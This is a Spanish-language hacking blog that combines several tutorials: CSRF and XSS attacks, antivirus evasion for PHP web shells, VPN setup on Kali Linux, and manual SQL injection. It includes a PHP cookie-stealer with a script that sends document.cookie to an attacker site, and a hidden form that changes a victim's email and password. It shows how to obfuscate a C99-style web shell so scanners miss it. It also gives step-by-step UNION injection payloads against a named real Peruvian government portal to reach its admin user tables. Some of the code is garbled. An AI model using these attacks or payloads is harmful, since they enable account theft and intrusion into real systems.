Vistas de página en total

36647

miércoles, 24 de febrero de 2016

[Tutorial] Cross Site Request Forgery [CSRF]

[Tutorial] Cross Site Request Forgery [CSRF]



1.) Que es CSRF
2.) Quien descubrió la vulnerabilidad CSRF
3.) CSRF y Xss
4.) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits
5.) Testeando vulnerabilidad CSRF y programas el code vulnerable
6.) Sacando una conclusión a todo
7.) Como cuidar nuestra Web de este tipo de ataques
1.) Que es CSRF

Bueno como muchos quizás han leído en la wikipedia ya csrf representa a
Cross Site Request Forgery el ataque se efectúa cuando por ejemplo Vemos algo
Así Presiona este link para que te lleve a mi sitio
Siempre el atacante usa como victima a un usuario que le brinda confianza la Web.
Los que tenemos foros sabemos que cada usuario tiene como destino un perfil donde
Cambiamos contraseña – email – nombre de usuario y otras cositas casi siempre el Atacante usa un código malicioso para hacer una petición en {GET – Post – HTTP}
Con esta vulnerabilidad el atacante le puede cambiar a la victima su información de PERFIL.


2.) Quien descubrió la vulnerabilidad CSRF

En el 1988 Hardy Norma publico un documento que explique una solicitud cuestión nivel de confianza que llamo un
Diputado confuso. En 2000, un correo a bugtraq explico Zope fue afectado por un problema confuso
Web diputado que se define hoy como una vulnerabilidad CSRF mas tarde en el 2001 Peter Watkins publico una entrada
En la lista de correo bugtraq acuñar el termino CSRF en respuesta a otro hilo titulado
Los peligros de permitir a los usuarios colocar imágenes en los sitios Web.

Bueno sobre quien lo descubrio ese credito si no me toca a mi esa parte es de Aqui solo lo logre traducir...

3.) CSRF y XSS

Quizás muchas personas nos preguntamos o se preguntan si esta vulnerabilidad
Es parecida o igual a xss.

Les explico bueno xss se aprovecha de la confianza de la victima que tiene el sitio
Web o aplicación el usuario lea ae contenido que aparece en su navegador que esta destinada y representada por el sitio Web que se esta viendo.

El csrf se aprovecha de la confianza que el sitio tiene para la victima ósea usuario…

4.1) Robo de Cookies en XSS & CSRF (Diferencia)

Bueno hay un metodo en XSS que algunos amigos me han dicho que se parece a el XSRF o CSRF, que son el ROBO DE COOKIES EN XSS y el CSRF, la verdad es que no ya que, el robo de cookies por xss como su nombre lo indica roba las cookies de cualquier usuario o administrador del sitio y el CSRF se encarga de ROBAR, VER y CAMBIAR cualquier informacion dependiendo de la victima que caiga.

Vamos a ver un ROBO DE COOKIES EN XSS y un ataque CSRF clasico, para que vean un poco la diferencia...

- ROBO DE COOKIES EN XSS

Primero tendriamos que saber si el server es vulnerable a XSS o tambien podriamos probar que el code
URL y IMG en foros
no filtre bien el contenido que se le asigne.

Para algunos que no entienden lo de URL y IMG es cuando dentro del URL agregariamos un link como
Language: Javascriptjavascript:alert("xss")
y cuando se le de click se ejecute hay mismo, tambien podriamos agregar XSS con codes HEXADECIMALES (ya esto es otro tema, asi que no lo explicare).

Bueno, en otro servidor aparte (que seria el nuestro) codeariamos un programa en PHP que se encargue de recibir al usuario victima y robarle las cookies apenas entre (Para esto se necesita saber por lo menos PHP BASICO)
Language: PHP<?
$cookie = $_REQUEST[cookie];
$file=fopen("cookies.txt", "a");
fput($file, "$cookie\n");
fclose($file);
?>
PD: Este code no es mio es de Chebyte. Pero esto es basico...

Bueno, le explicare el code para quienes no lo entiendan:

$cookie = $_REQUEST[cookie] : El que recibe la cookie
$file=fopen("cookies.txt", "a") : Crea el archivo cookies.txt para lectura
fput($file, "$cookie\n") : Muestra la cookie
fclose($file) : Cierra 

Podriamos guardarlo "robador.php" y ahora faltaria el code que redireccione a este CODE:

<script>self.location=`e);"target=" _blank">http://TuWeb.com/robador.php?c=`+scape(document.cookie)</script>

Y Tachan! tienes la cookie...

Bueno antes que nada les dire lo SCRIPT KIDDIE y BUENO de este metodo:

1. SCRIPT KIDDIE: Usar este metodo contra webs de Hacking
2. NO-LAMMER: Usar contra sites malos como: Porno, Pedofilia, Estafadores, Enemigos, EMOS!!!, etc..
3. SCRIPT KIDDIE: Aprender este metodo unicamente sin saber como funciona
4. NO-LAMMER: Aprender JAVASCRIPT, HTML y PHP
5. MEDIO: Usarla para Phishing [Es malo y es bueno xD, pero no es lammer]
5. SCRIPT KIDDIE: Hacking MSN -.-"

Ahora pasaremos a hablar del CSRF clasico:

- XSRF/CSRF Clasico

Bueno ahora usaremos una forma de XSRF clasico, pero no de robo si no de CAMBIO de datos, que seria primero como dije probar si el server es vulnerable a JAVASCRIPT, o si no filtra bien el contenido de los BBCODES, o los inputs mal programados, o tambien podriamos atacar normal, sin que el usuario sepa que es un ataque.

Podriamos atacar sin que la victima sepa que es malo asi (dependiendo de la pagina):
Language: Javascript<form action="formulario" action="http://victima.com/perfil.php" method="POST">
<input type="hidden" name="email" value="tuemail@hotmail.com">
<input type="hidden" name="passwirdl" value="minuevopassword">
<input type="hidden" name="submit" value="enviar">
<script>document.submit();</script>
Como dije depende de la web, SI EL SITE NO TIENE AL CAMBIAR DATOS, REPITE EL EMAIL o CONTRASEÑA es vulnerable y tambien de los input "name=NOMBRE" del site. La victima no sabe que le hemos cambiado el email...

Tambien si al cambiar datos salga un link como este:

http://www.web.com/perfil.php?user=NOMBREUSUARIONUEVO&mail=minuevomail@hotmail.com&pass=minuevopass

Es super hiper mega vulnerable ya que notamos que no dice en el link a cambiar: PASSANTERIOR o EMAILANTERIOR... y que pasa si le mandamos un MP (Mensaje Privado) depende claro si es un foro con un link como este:

Man vota por mi
AQUI

Y al hacer click en cualquiera de los ejemplos los datos han sido cambiados..

Espero que les haya gustado mi parte en este bonito tutorial creado por mi bro ShadinessDark y puedan entender la diferencia entre XSS (El robo de cookies) y CSRF...

5.)Testeando vulnerabilidad CSRF y programas el code vulnerable 

Los ataques csrf lo reproducen por etiquetas HTML/JAVASCRIPT o una
Imagen, daré un breve ejemplo:

Un ejemplo nos envían un correo electrónico o un MP en algún foro cuyo propósito
Del atacante es que al darle clic realiza una solicitud a una URL del atacante les Mostrare un ejemplo:

Por ejemplo usando una imagen src.
<img src="http://Www.xD.com/?Comando">;
Script
<script src="http://Www.xD.com/?Comando">;
Casi siempre se usan los IFRAME
<iframe src="http://Www.xD.com/?Comando">; 

Los ejemplos de arribas son dados con HTML ahora les doy el ejemplo de los de Javascript

<script>
var foo = new Image(); var foo = new Image ();
foo.src = "http://Www.xD.com/?Comando";</script>; 

También se puede hacer por XHTML pero hay que usar IE y bueno esa no se las explicare en este tutorial y si quieren me avisan y bueno lo modifico, Claro que existen muchas formas Vbscript – Actionscript – HTML – Javascript - JScript y otros que utilizan de marcado en los navegadores de los usuarios que hacen
Realizar peticiones REMOTAS.

¿Cambiando datos de la victima? 

Bueno este breve codigo es solo un pequeño ejemplo:

<script>
var post_data = `name=value`; post_data var = `nombre = valor`;
var xmlhttp=new XMLHttpRequest(); var xmlhttp = new XMLHttpRequest ();
xmlhttp.open("POST", `http://www.xD.com/path/file.ext`, true); xmlhttp.open ( "POST", "http://www.xD.com/path/file.ext `, true);
xmlhttp.onreadystatechange = function () { xmlhttp.onreadystatechange = function () (
if (xmlhttp.readyState == 4) if (xmlhttp.readyState == 4)
{ (
alert(xmlhttp.responseText); alert (xmlhttp.responseText);
} )
}; );
xmlhttp.send(post_data); xmlhttp.send (post_data);
</script> </ script> 

Como podemos ver en este código hacemos una petición a POST
Acuérdense que arriba les comente que cuando el atacante usa un código
Malicioso hace una petición en Get. Post y HTTP ¿Se acuerdan? Espero y me vayan entendiendo...

¿A dónde se dirige esta petición?

Bueno esta petición se dirige a la base de datos del sitio me explico
Cada vez que hacemos cambios extremos en nuestro perfil todo pasa
Por una base de datos bueno cuando la victima le da clic a la url enviada
Por el atacante hace una petición en la base de datos y cambia los datos de la cuenta
De la victima de confianza por el atacante ¿Me van entendiendo a que se debe este ataque?

6.) Sacando una conclusión a todo.

Mirando la lógica a todo este ataque se basa en un código malicioso que es muy usado, HTML Y Javascript.

Es un tipo de ataque que por parte de HTML usamos la etiqueta src y en javascript Usamos la misma etiqueta este ataque es basado en darle clic a un vinculo al Redireccionar la Web y cargar cambia la información que de nuestro usuario.
Haciendo una petición en la base de datos del código del atacante…

7.) Como cuidar nuestra Web de este tipo de ataques

Primero que nada vamos a nuestro FTP introducimos nuestros datos y entramos a la Carpeta public_html o donde este el archivo index.php le añadiremos algo que diga
‘Actualcontraseña’ Antes de seguir el código que pondré es sacado de la siguiente pagina De aquí

Después que estemos en el index.php introduciremos este código con el Actualcontraseña esto tiene que ir dentro de <?php…

<form method="POST" action="datos.php" name="datos">
          Usuario <input type="text" name="usuario">
          Email <input type="text" name="email">
          Contraseña <input type="text" name="contraseña">
          Email alternativo: <input type="text" name="emailalternativo">
      Contraseña Actual: <input type="text" name="actualcontraseña">
         <input type="submit" name="submit" value="cambiardatos">
     </form>

Luego buscamos el archive que se llama Config.php lo pueden encontrar
Por el mismo FTP y le agregamos lo siguiente:

<?php

$bd_host = "localhost";
$bd_usuario = "user";
$bd_password = "pass";
$bd_base = "bd";

$con = mysql_connect($bd_host, $bd_usuario, $bd_password); mysql_select_db($bd_base, $con);

?>

En el archive datos.php usaremos lo siguiente:
<?
include(`config.php`);
     session_start();
     if(isset($_REQUEST[`usuario`]))
          $usuario = $_REQUEST[`usuario`];
     else
          die("Rellene el campo Usuario");
     if(isset($_REQUEST[`email`]))
          $email = $_REQUEST[`email];
     else
          die("Rellene el campo email");
     if(isset($_REQUEST[`contraseña`]))
          $contraseña = $_REQUEST[`contraseña];
     else
          die("Rellene el campo Contraseña");
     if(isset($_REQUEST[`emailalternativo`]))
          $emailalternativo = $_REQUEST[`emailalternativo];
     else
          die("Falta el email alternativo");
    if(isset($_REQUEST[`actualcontraseña`]))
          $actualcontraseña = $_REQUEST[`actualcontraseña];
     else
          die("Especifique la contraseña");
if ($actualcontraseña==NULL) {
echo "Especifique su contraseña Actual";
}else{
$query = mysql_query("SELECT usuario,actualcontraseña FROM myhosting_usuarios WHERE username = `$usuario`") or die(mysql_error());
$data = mysql_fetch_array($query);
if($data[`contraseñaa`] != $actualcontraseña) {
echo "Contraseña Actual Inavalida";
}else{
    CambiarDatos($usuario, $email, $contraseña, $emailalternativo);
   
     ?>
Ahora vamos a nuestro panel entramos a PHPMYADMIN ósea a nuestro phpmyadmin
Y le damos donde dice Consulta y introducen el siguiente código:
CREATE TABLE `myhosting_usuarios` (
  `id` int(11) NOT NULL auto_increment,
  `usuario` varchar(15) NOT NULL,
  `email` varchar(15) NOT NULL,
  `emailalternativo` varchar(15) NOT NULL,
  `contraseña` varchar(150) NOT NULL,
  `contraseñaa` varchar(150) NOT NULL,
  KEY `id` (`id`)
) ENGINE=MyISAM;
INSERT INTO `myhosting_usuarios` VALUES (1, `SecurityKill`, `mymail@gmail.com`, `mymail2@gmail.com`, `mypass`, `mypass`);

Ofuscar una PHPShell (Indetectar Codigo fuente)


Ofuscar una PHPShell (Indetectar Codigo fuente)

(FUD a los Antivirus)
Para los que no saben que es una PHP Shell (En definición a "Defacement").
PHP Shell o Shell PHP es un programa o script desarrollado íntegramente en PHP. Su principal función es la posibilidad de ejecutar los famosos shell-commands en el servidor donde se encuentre.
Algunos tienen bastas funciones, como la de explorar los directorios en el servidor en que se encuentre, crear archivos y eliminar, crear directorios y eliminar, editar archivos en texto plano, establecer una conexión MySQLPostgreSQL u Oracle, establecer una conexión con NetCat, cambiar permisos a los elementos del servidor, etc.
(Fuente | Wikipedia)
Teniendo en cuenta que ya cualquier PHPShell es detectada por los antivirus, sin embargo, los servidores escanean este tipo de Scripts en sus sitios web, y muy difícil que el atacante pueda ejecutar la PHP Shell.
La Shell C99 es detectada por todos los antivirus, sin embargo, existe la base64 c99 que es la misma versión unicamente ofuscada en Base 64 y es FUD (Indetectable).

Tomare un ejemplo de la Shell 7 Storm la versión sin modificar y ahora la subiré a NovirusThanks para ver cuantos antivirus lo detectan..
Al parecer es detectado por unos cuantos antivirus:

File Info
Report date: 2011-07-27 20:22:08 (GMT 1)
File name: storm7shell-php
File size: 546324 bytes
MD5 Hash: da6048d0dbe0c97dbf6984a87056b7e9
SHA1 Hash: fa3975a0ff016599b844f396a01ddcfbe53304e9
Detection rate: 4 on 5 (80% )
Status: INFECTED

Detections

AVG - Citem_c.IBT
Avira AntiVir - PHP/C99Shell.546575
ClamAV - Trojan.PHP.C99Shell
Emsisoft - Backdoor.PHP.C99Shell.y!IK
TrendMicro -

Scan report generated by
NoVirusThanks.org
¿Como hacemos indetectable a esos antivirus?
1) Para ofuscar el código nos vamos a la pagina de Code eclipse y pegamos el código de la PHP SHELL.
2) Una vez puesto el código de fuente de la Shell damos clic en Next >
3) Nos aparecerá unas opciones, sin tocar nada damos clic Encode > 

Code Eclipse - Encode tool ofuscation
4) Dentro de algunos segundos o minutos nos aparecerá el código ofuscado. (El tiempo del proceso depende el peso del código) 

Código ofuscado
Ahora lo subimos nuevamente a novirusthanks para comprobar su indetectabilidad.
File Info
Report date: 2011-07-27 20:49:33 (GMT 1)
File name: storm7shell-ofuscation-php
File size: 1427333 bytes
MD5 Hash: bd5fd88671bc18fc1dc7a1544a59e22b
SHA1 Hash: 75b9225dd1429d201e7b029a071842cfe635686d
Detection rate: 0 on 5 (0%)
Status: CLEAN

Detections

AVG - 
Avira AntiVir - 
ClamAV - 
Emsisoft - 
TrendMicro - 

Scan report generated by
NoVirusThanks.org

Habilitar VPN en Kali Linux




Muy buenas lectores. en esta ocación les enseñare como  habilitar (conexiones VPN) para configurar la VPN (SecurityKiss) en kali linux.

Para los que no saben para que sirven las VPN aquí os pongo mas info sobre las VPN.
Sin mas que decir empezaremos nuestro tutorial.





1- como miramos en la primera imagen, Kali linux no trae habilitado la VPN
para esto tenemos que ejecutar los siguientes comandos en nuestra terminal.

[+]Comando-1
apt-get install network-manager-openvpn-gnome

nos pedira que Se utilizarán 1.233 kB de espacio de disco
y nos da 2 opciones la cuales son: Si/no y le decimos que (Si)
una ves se nos haya descargado los paquetes nos tiene que salir algo así:

luego ejecutamos el siguiente comando.


[+]Comando-2
apt-get install network-manager-pptp


igual que el anterior nos dirá que se utilizarán 251 kB de espacio de disco adicional.
y le diremos que Si. 
si todo marcho bien en la descarga y en la instalación nos tiene que salir algo así.

y seguimos en la ejecución del 3er comando.


[+]Comando-3
apt-get install network-manager-pptp-gnome

ya en este comando no los pedirá permiso, si todo salio bien tendría que salir algo así

y seguimos ejecutando el 4to comando.


[+]Comando-4
apt-get install network-manager-vpnc

si todo marcho bien así tendría que estar.

seguimos con el 5to comando.


[+]Comando-5
apt-get install network-manager-vpnc-gnome

lo mismo que los demas esperamos que se descarguen los paquetes.

[+]Comando-6
/etc/init.d/network-manager restart
lo que hara este comando sera reiniciar nuestra conexion
y todo tendría que quedar así:
2-Una vez terminado la ejecucion de los comandos ya todo tiene que estar trabajando bien
y volvemos a ver si se nos habilito las (conexiones VPN) para poder configurar la nuestra.
y tiene que estar así, como en la siguiente Imagen.
Ya la Opción de AÑADIR debería de estar habilitado le damos ahí y nos saldrá la ventada
de elegir un tipo de conexión VPN y lo dejamos en PPTP tal y cual esta en la imagen.
y le damos en CREAR y nos saldrá la ventada donde tendremos que poner los datos de la VPN.
en el siguiente tutorial les ensenare como ingresar los datos que nos dara la VPN SecurityKiss.!

(Tutorial) Configurando VPN (SecurityKiss) en Kali-Linux con conexión PPTP

(Tutorial) Configurando VPN (SecurityKiss) en Kali-Linux con conexión PPTP


Lo prometido es deuda como dice el famoso dicho, así que en esta entrada del Blog les ensenaremos como configurar la VPN (SecurityKISS) en nuestro Kali-Linux.Hemos publicado como Habilitar (Conexiones VPN) ya que por defecto Kali-Linux lo trae desabilitado. así que empezamos con el dicho tutorial, aclaro que esto es algo básico pero creo que para los usuarios nuevos que vienen empezando a utilizar esta DISTRO de linux como es Kali. Creo que les vendrá muy bien, con esto aclaro que para utilizar la VPN es para pasar como anónimo en la Internet, es  nuestra protección algunos la utilizan para  pasar desapercibidos en la NET. y otros la utilizamos cuando estamos AUDITANDO ALGÚN SERVIDOR WEB. así que manos a la obra empezamos.

1- Lo primero que tenemos que hacer es ir a la pagina oficial de (SecurityKiss) la cual es:

2- Una vez dentro nos dirigimos, en la parte superior derecha de la pagina donde dice Área de Cliente 
se nos desplegara un login donde nos pedirá  Email address or client ID  & el Password pero como no estamos registrados lo tendremos que hacer. mas abajo en esa misma ventana tenemos la opción del registro y le damos a Create Free Account . luego nos pedirá que introduzcamos un email ponemos nuestro email y le damos al botón Create Account automáticamente nos dirá que mandaron los datos de la cuenta al email
por lo general llega a bandeja de SPAM. tenemos que entrar a nuestro email y ahí estarán los datos que vamos a necesitar luego que tenemos ya los datos del login, tenemos entrar al panel de usuario https://www.securitykiss.com/panel/ .

3- Una vez dentro de nuestro panel nos dirigimos a la pestaña que dice SERVER dentro nos situamos en PPTP y nos saldrá todas las IP que están disponibles totalmente GRATIS que mas adelante escogeremos 1. 
4- El siguiente paso nos dirigimos a nuestra conexiones VPN y le damos en configurar VPN luego en AÑADIR luego se nos despliega una ventana donde nos indica que elijamos el tipo de conexión y ahí lo dejamos en Protocolos PPTP y le damos crear.
5- Nos saldrá ya la ventana donde introduciremos los datos y la IP de la VPN.

*En la primera Opción nos pide que le pongamos un nombre a la red que vamos a crear en este caso yo         le puse VPN-CyRuX.

*En la segunda opción es donde tenemos que ingresar la IP que nosotros escogimos en SecurityKiss en mi caso elegí una de FRANCIA (37.59.65.55) ustedes escojan las que mas les parezca, si por alguna razón cuando configuremos todo les tira conexión fallida solo tienen que elegir otra IP

*En la siguiente opción es donde introduciremos nuestro ID y pass de la cuenta que generamos en SecurityKiss son los mismo datos que se enviaron a nuestro correo, luego nos desplazamos en la parte inferior lado derecho donde dice AVANZADO damos clic a dicha opción y ahí tendremos que marcar la casilla que dice (Usar Cifrado Punto a Punto (MPPE) le damos a aceptar y a guardar,tendría que quedar asi:
*Una ves realizado todos los pasos, tenemos que regresar a conexiones VPN y ya nos tendría que salir la red que acabamos de crear la escogemos y si todo salio bien veras que la conexión tiene un candado dorado y es aquí donde ya estaremos navegando atraves de la VPN. recuerden que si les sale conexión fallida solo tienen que escoger otra IP. 
6- Bueno ya cuando nos sale el cuadro que ya estamos bajo la VPN ya podéis navegar tranquilamente por la red, y estaremos en el anonimato también quisiera aclarar que es mejor utilizar VPN de pago, pero las que son Gratis nos sacan de apuro para los que no tenemos $ para comprar 1 a un que no son muy caras pero un lema que siempre tengo es que yo no compro nada por Internet ya que se pueden conseguir gratis.

(Tutorial) Aprendiendo Inyeccion SQLi Manualmente.


(Tutorial) Aprendiendo Inyeccion SQLi Manualmente. By CyRuX

Muy buenas lectores, en esta ocasión demostrare como realizar una Inyección SQLi manualmente ya que para empezar en este mundo de las inyecciones SQL siempre eh recomendado  leer mucho sobre SQL. ya que así estaremos entendiendo que es lo que estamos realizando, en esta ocacion solo me enfocare en las Inyecciones pero si recomiendo que lean mucho sobre SQL y  también es recomendable  saber un poco de php. como dije anteriormente esto es para que vayamos entendiendo que es lo que se esta realizando. a continuación les dejare unos links que me sirvieron mucho para entender sobre SQL.

Aprendiendo SQL:

[+]Curso Online desde Cero:
http://deletesql.com/viewforum.php?f=5&sid=d1e83162086bba74714bd722cbb0d6a7
Vídeos:
https://www.youtube.com/channel/UCLnBUirMKBZ_4s8tTQyQuvg/videos

[+]Otros vídeos que me sirvieron mucho y muy bien explicados. (Recomendado)

1-video:
https://www.youtube.com/watch?v=wKxYUYb1pQ4
2-video:
https://www.youtube.com/watch?v=Eme7qBzigJQ
3-video:
https://www.youtube.com/watch?v=AA4jk_Oa5yw
4-video:
https://www.youtube.com/watch?v=j25hmvG4zPc


Aprendiendo PHP:
http://www.phpya.com.ar/
Videos:
https://www.youtube.com/watch?v=JNbTvInths0

Como dije anteriormente recomiendo primero aprender lo antes publicado, así que a continuación aprenderemos como realizar una simple inyección SQL de un portal del Gobierno del Perú ya que estos la mayoría tienen esta vulnerabilidad y son constantemente explotado. ya que están mal programados con muchos fallos. así que nuestro primer paso sera buscar por medio de una DORK estos tipos de fallos. para los que se preguntan que son las Dorks aquí os dejo mas info:

¿Que es Inyección SQL?

Según OWASP: Un ataque de inyección SQL consiste en la inserción o "inyección" de una consulta SQL a través de los datos de entrada del cliente a la aplicación. El éxito de vulnerabilidad de inyección SQL puede leer los datos sensibles de la base de datos, modificar los datos de base de datos (Insertar / Actualizar / Borrar), ejecutar operaciones de administración de la base de datos (por ejemplo, apagar el DBMS), recuperar el contenido de un presente determinado archivo en el archivo de DBMS sistema y, en algunos casos para ejecutar comandos del sistema operativo. Ataques de inyección SQL son un tipo de ataque de inyección, en el que comandos SQL se inyectan en la entrada de datos plano con el fin de efectuar la ejecución de comandos SQL predefinidas.

Bueno antes de empezar, algo que tenemos que saber es que:
La información esta en la columna & la columna están en las tablas y las tablas están en la base de datos. Solo recuerda eso y después todo se te hará fácil de entender.

¿Que es una Dork?

Podríamos definir Dorks como búsquedas avanzadas mediante el uso de operadores complejos que google pone a nuestra disposición, mediante el uso de estas facilidades podemos ahorrarnos el trabajo de buscar vulnerabilidades y dejar que google nos muestra las que encontró y tiene indexadas.

Aquí algunas Dorks para que se den una idea ya que mas adelante ustedes mismos podrán armar sus propias Dorks.

inurl:noticias.php?id= 

inurl:inicio.php?id= 
inurl:evento.php?id= 
inurl:producto.php?id= 
inurl:sql.php?id= 
inurl:nuevos.php?id= 
inurl:biblioteca.php?id= 
inurl:humor.php?id= 
inurl:acerca.php?id= 
inurl:galerias.php?ogl_id= 
inurl:index.php?id= 
inurl:comunicacion.php?id= 
inurl:detalles.php?id= 
inurl:categoria.php?id= 
inurl:noticia.php?id= 
inurl:paginas.php?id= 
inurl:faq2.php?id= 
inurl:documentos.php?id= 

Estas las utilizaremos para encontrar paginas vulnerables a este tipo de fallos. así que manos a la obra.

1- El primero paso sera buscar nuestra pagina vulnerable para eso tenemos que ir a san www.google.hn
y es ahí donde vamos armar nuestra DORK. en esta ocacion utilizaremos una con 1 palabra no muy común seria algo así:  Inurl:destacados.php?id= se preguntaran que es y por que ponemos Inurl:

¿Que es Inurl:?

El prefijo inurl: (significa en url) te sirve para indicar que buscas páginas que contengan una palabra concreta en la URL. Fíjate que es algo diferente al ejemplo anterior porque busca la palabra en cuestión en cualquier parte de la URL:

una ves realizado nuestra dork en google nos tendría que quedar así como en la imagen a continuación donde miraran todas las paginas con esa ID.
Como vemos nos tiro un total de 2,350 paginas con esa ID es ahí donde tendremos que ir probando 1 por 1 para dar con la web que tenga la vulnerabilidad de SQL inyección, también les quiero decir que NO todas son vulnerables. Bueno seguimos en mi caso como les dije anteriormente usaremos una pagina del gobierno de peru, para buscar un dominio en especial vamos a agregar a nuestra DORK un simple prefijo que nos ayudara para dar con las paginas con un dominio en especial el que nosotros queramos. en este caso utilizaremos el prefijo "SITE:" quedando así nuestra DORK: "Inurl:destacados.php?id= Site: gob.pe"
Si bien miran nos arroja un portal del Gob. de ese país con el dominio gob.pe  en este caso le damos click al primer enlace. una ves dentro de la pagina nos enfocaremos siempre en la url en este caso seria la siguiente.

http://www.osinfor.gob.pe/portal/destacados.php?id=8  

Es desde aquí que empezaremos a realizar la inyección a este portal, para saber si es vulnerable a la inyección solo tenemos que quitar el numero que sale después "=" en este caso seria el numero 8 y reemplazarlo con una simple comilla donde nos tiene que tirar un error de "Sintaxis" algo parecido a esto:

Es aquí donde ya sabemos que tiene el típico error SQLi y es una Web vulnerable a una inyección.

2-Una ves que ya sabemos que tenemos una web vulnerable lo siguiente sera buscar las columnas que tiene dicho portal y se preguntaran como lo hacemos?

Buscando Columnas:

Añadimos un (+ORDER+BY --) y vamos aumentando los números por ejemplo:
 (+ORDER+BY+1--) y hacemos un alto cuando nos aparezca un error

http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+1-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+2-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+3-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+4-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+5-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+6-- ( Con error)
3- Si bien miran el error lo tiro en el numero por que no hay columna "6" esto quiere decir que este portal solo tiene 5 columnas, luego cuando ya sabemos cuantas columnas tiene dicho portal lo siguiente que haremos sera usar 3 sentencias que son ( UNION+ALL+SELECT )  mas las columnas que tiene el portal y quedaría de la siguiente manera.

http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0--
http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,1--
http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,1,2--
http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,1,2,3--
http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,1,2,3,4--

Si observan bien eh puesto un guion "-" antes del numero "8"

y hemos llegado hasta la columna 4 ya que es esa columna la que es vulnerable y nos arroja unos números como lo verán en la siguiente captura.
4- Cuando ya sepamos que tenemos columnas inyectables el siguiente paso seria averiguar la versión del MYSQL esto es muy importante saber en que versión estamos trabajando ya que si el portal tiene una versión arriba de 5 quiere decir que podemos trabajar bien pero si nos tira que esta en versiones mas antiguas es ahí que tendríamos que hacer otras inyecciones eh ir averiguando y caneando las tablas que podría tener dicho portal, algo similar como una inyección a ciegas.

Bueno para conseguir la versión del MYSQL tendremos que inyectar el comando "@@version o version()"  a una de las columnas vulnerables que nos arrojo el portal en este caso nos tiro el 1 & 4 en mi caso lo haré en la 1 quedando de la siguiente manera:

http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,@@version,2,3,4--

y si miramos en la captura nos tiro que esta arriba de la versión 5 esto quiere decir que en este portal no tendremos problemas en andar averiguando las tablas ya que nos la va a tirar fácil.

5- El siguiente paso sera conseguir las tablas lo que mas nos interesa en este caso para esto lo que tenemos que hacer es lo siguiente elegir la misma columna inyectable en este caso yo escogí la columna 1 y le inyectaremos las siguientes sentencias " group_concat(table_name) " y al final de las columnas le inyectaremos las siguientes sentencias " +from+information_schema.tables--+ " quedando así la inyección:

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+union+all+select+0,group_concat(table_name),2,3,4+from+information_schema.tables--+

y el portal nos tendrá que arrojar todas las tablas de la siguiente manera como se nos muestra en la siguiente captura.!

como miran nos arrojo todas las tablas, si le damos para el lado derecho miraremos las demás tablas que nos arrojo, pero en lo personal a mi no me gusta que me tire las tablas en Horizontal se mira feo :s no.? bueno para que podamos ver las tablas vertical que se mira mucho mejor tenemos que inyectar otras sentencias en este caso usaremos " replace( " al principio de la sentencia " group_concat " y inyectaremos un código en Hexadecimal el cual seria este: " 0x2C,0x3C62723E " y si desencryptamos este código Hexadecimal nos va arrojar el siguiente código en html que seria " ,<br> " si sabemos un poco de HTML sabremos que hace dicho código bueno seguimos ese código hexadecimal lo tendremos que poner al final de:" table_name " quedando nuestra inyección de la siguiente manera.

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+union+all+select+0,replace(group_concat(table_name),0x2C,0x3C62723E),2,3,4
+from+information_schema.tables--+

y en el portal  nos tiene que mostrar de la siguiente manera las tablas mucho  mas chulas :) quedando así:
Si  miran en la captura nos tira tablas del MYSQL que vienen por default y son muy molestas las cuales son:

CHARACTER_SETS
CLIENT_STATISTICS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
INDEX_STATISTICS
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TABLE_STATISTICS
THREAD_STATISTICS
TRIGGERS
USER_PRIVILEGES
USER_STATISTICS
VIEWS

 Así que para desaparecer esas  tablas y dejar solo las  que nos interesa armaremos la inyección de la siguiente manera agregando otras sentencias las cuales son: " +where+table_schema=database() "  que nos ayudaran a desaparecer esas molestas tablas :p quedando de la siguiente manera nuestra inyección.

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+union+all+select+0,replace(group_concat(table_name),0x2C,0x3C62723E),2,3,4
+from+information_schema.tables+where+table_schema=database()--+

[+]
Tendríamos que verla así en el portal de esta manera como se muestra en la captura.

[+]Bingo ya tenemos las tablas que realmente nos interesa donde si observan la captura se nos refleja que si hay tablas muy interesantes como son: "osi_usuario,usuario,usuarioweb" :D

6- Bueno seguiremos sacando datos para llegar a nuestro objetivo que son el pass, y usuario del administrador así que para sacar las columnas de esas tablas lo sacaremos de la siguiente manera, armando nuestra inyección así y eligiendo la tabla (osi_usuario).

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+union+all+select+0,replace(group_concat(column_name),0x2C,0x3C62723E),2,3,4
+from+information_schema.columns+where+table_name=0x6f73695f7573756172696f--+

Si nos enfocamos en lo rojo vamos a mirar que hemos cambiado ( table_name ) por ( column_name ) y hemos agregado al final un código hexadecimal el cual ese dichoso código es  la tabla que elegimos anteriormente la cual seria: ( osi_usuario ) el cual lo hemos encryptado en hexadecimal ya que si lo ponemos normal nos tiraría un error y no las columnas que deseamos de esa tabla. Así que armando la anterior inyección nos tiene que tirar estos datos como se miran en la captura.

